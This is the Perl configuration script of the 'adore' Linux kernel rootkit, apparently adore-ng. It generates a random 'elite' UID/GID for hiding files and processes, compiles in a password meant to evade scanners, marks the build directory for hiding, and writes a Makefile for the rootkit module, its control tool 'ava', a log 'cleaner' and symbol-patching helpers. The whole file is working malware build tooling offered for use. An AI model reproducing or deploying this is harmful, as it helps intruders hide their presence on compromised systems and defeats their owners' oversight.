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#!/usr/bin/perl
# (C) 2002 by Stealth.
# Using at your own risk. Licensed under BSDish license.
# See LICENSE-file. Standard disclaimer applies.
# adore configuration script
# One can also use Makefile.gen edited by hand
# when perl is not available or one needs special values
# (crosscompiling)
#
# Initializink, Pitr ...
#
$elite_uid = 0;
$elite_cmd = 0;
$cc = "";
$| = 1;
$current_adore = 41;
$bw = shift || 4;
print "\nUsing byte-width of $bw for UID/GID\n";
sub get_pass()
{
print "\n\nSince version 0.33 Adore requires 'authentication' for\n".
"its services. You will be prompted for a password now and this\n".
"password will be compiled into 'adore' and 'ava' so no further actions\n".
"by you are required.\nThis procedure will save adore from scanners.\n".
"Try to choose a unique name that is won't clash with filenames in /proc.\n";
print "Password (echoed):"; my $s = <STDIN>;
chop($s);
s/"//g;
return substr($s, 0, 15);
}
#
# find elite UID+GID
#
sub get_elite_id()
{
my $uid = 0, $p;
if ($bw == 2) {
$p = "S";
} elsif ($bw == 4) {
$p = "I";
} else {
print "Nuts! Stupid byte-width of $bw. Use either 2 or 4.\n";
exit;
}
open(R, "/dev/random") or die "$!";
while (defined(getpwuid($uid))) {
read R, $uid, $bw;
$uid = unpack($p, $uid);
}
read R, $gid, $bw;
close(R);
$gid = unpack($p, $gid);
return ($uid, $gid);
}
#
sub check_smp()
{
if (`uname -a` =~ "SMP") {
return "YES";
} else {
return "NO";
}
}
sub check_26()
{
if (`uname -r` =~ /2\.6/) {
return "YES";
} else {
return "NO";
}
}
# check for CONFIG_MODVERSIONS=y
sub check_modversions()
{
open I, "</proc/ksyms" or die "open(/proc/ksyms) $!";
while (<I>) {
if (/kernel_thread_R.+/) {
close I;
return "YES";
}
if (/kernel_thread/) {
close I;
return "NO";
}
}
print "WARN: Can't find kernel_thread!! Using \"NO\"!";
return "NO";
}
#
# Look for loaded modules
#
sub check_modules()
{
print "Loaded modules:\n";
system("cat /proc/modules");
}
#
# Look where insmod is located
#
sub check_insmod()
{
my $s;
print "Checking 4 insmod ... ";
foreach (qw(/bin /sbin /usr/sbin /usr/bin)) {
if (-x ($s = "$_/insmod")) {
print "found $s -- OK\n";
return $s;
}
}
print "WARN: No insmod found in /bin, /sbin, /usr/sbin, /usr/bin! Fix init-script by hand!\n";
return "insmod";
}
#
# RH 7 has 'kgcc'
#
sub check_cc()
{
my $r;
if (-x "/usr/bin/kgcc") {
$r = "kgcc";
} else {
$r = "cc";
}
return $r;
}
##############################
#
# main()
#
##############################
print "\nStarting adore configuration ...\n\n";
($uid, $gid) = get_elite_id();
print "Checking 4 ELITE_UID + ELITE_GID ... ";
print "found $uid, $gid\n";
print "Checking 4 SMP ... ", $has_smp = check_smp(), "\n";
print "Checking 4 MODVERSIONS ... ", $has_modversions = check_modversions(), "\n";
print "Checking for kgcc ... ";
print "found ", $cc = check_cc(), "\n";
$insmod = check_insmod();
print "\n";
check_modules();
$pwd = get_pass();
print "\nPreparing '.' for hiding ... ";
chown($uid, $gid, ".") or print "(failed)";
print "\n\n";
print "Creating Makefile ...\n";
print "\n\a*** Edit adore-ng.h for the hidden services ***\n";
#
# create an Makefile backup.
#
$date = `date`;
$date =~ tr/ /_/;
system("touch Makefile;cp Makefile Makefile_$date");
#
# write Makefile
#
open(O, ">Makefile") or die "open(Makefile) $!";
print O "#\nCC=$cc\nCFLAGS=-O2 -Wall\n\n";
print O "#CFLAGS+=-mcpu=i486\nINC=-I/usr/src/linux/include";
print O "\nCFLAGS+=-DELITE_UID=${uid}U -DELITE_GID=${gid}U\nCFLAGS+=-DCURRENT_ADORE=$current_adore\n".
"CFLAGS+=-DADORE_KEY=\\\"$pwd\\\"\n\n";
if ($has_smp eq "NO") {
print O "#";
}
print O "CFLAGS+=-D__SMP__\n";
print O "\n";
if ($has_modversions eq "NO") {
print O "#";
}
print O<<_EOF_;
CFLAGS+=-DMODVERSIONS
all: adore-ng ava cleaner symsed
adore-ng: adore-ng.c
rm -f adore-ng.o
\$(CC) -c \$(INC) \$(CFLAGS) adore-ng.c -o adore-ng.o
\$(CC) -c \$(INC) \$(CFLAGS) -DRELINKED adore-ng.c -o zero.o
ava: ava.c libinvisible.c
\$(CC) \$(CFLAGS) ava.c libinvisible.c -o ava
cleaner: cleaner.c
\$(CC) \$(INC) -c \$(CFLAGS) cleaner.c
symsed: symsed.c
\$(CC) -O2 symsed.c -o symsed
clean:
rm -f core ava symsed *.o
_EOF_
#
# Done :>
#
close O;
|
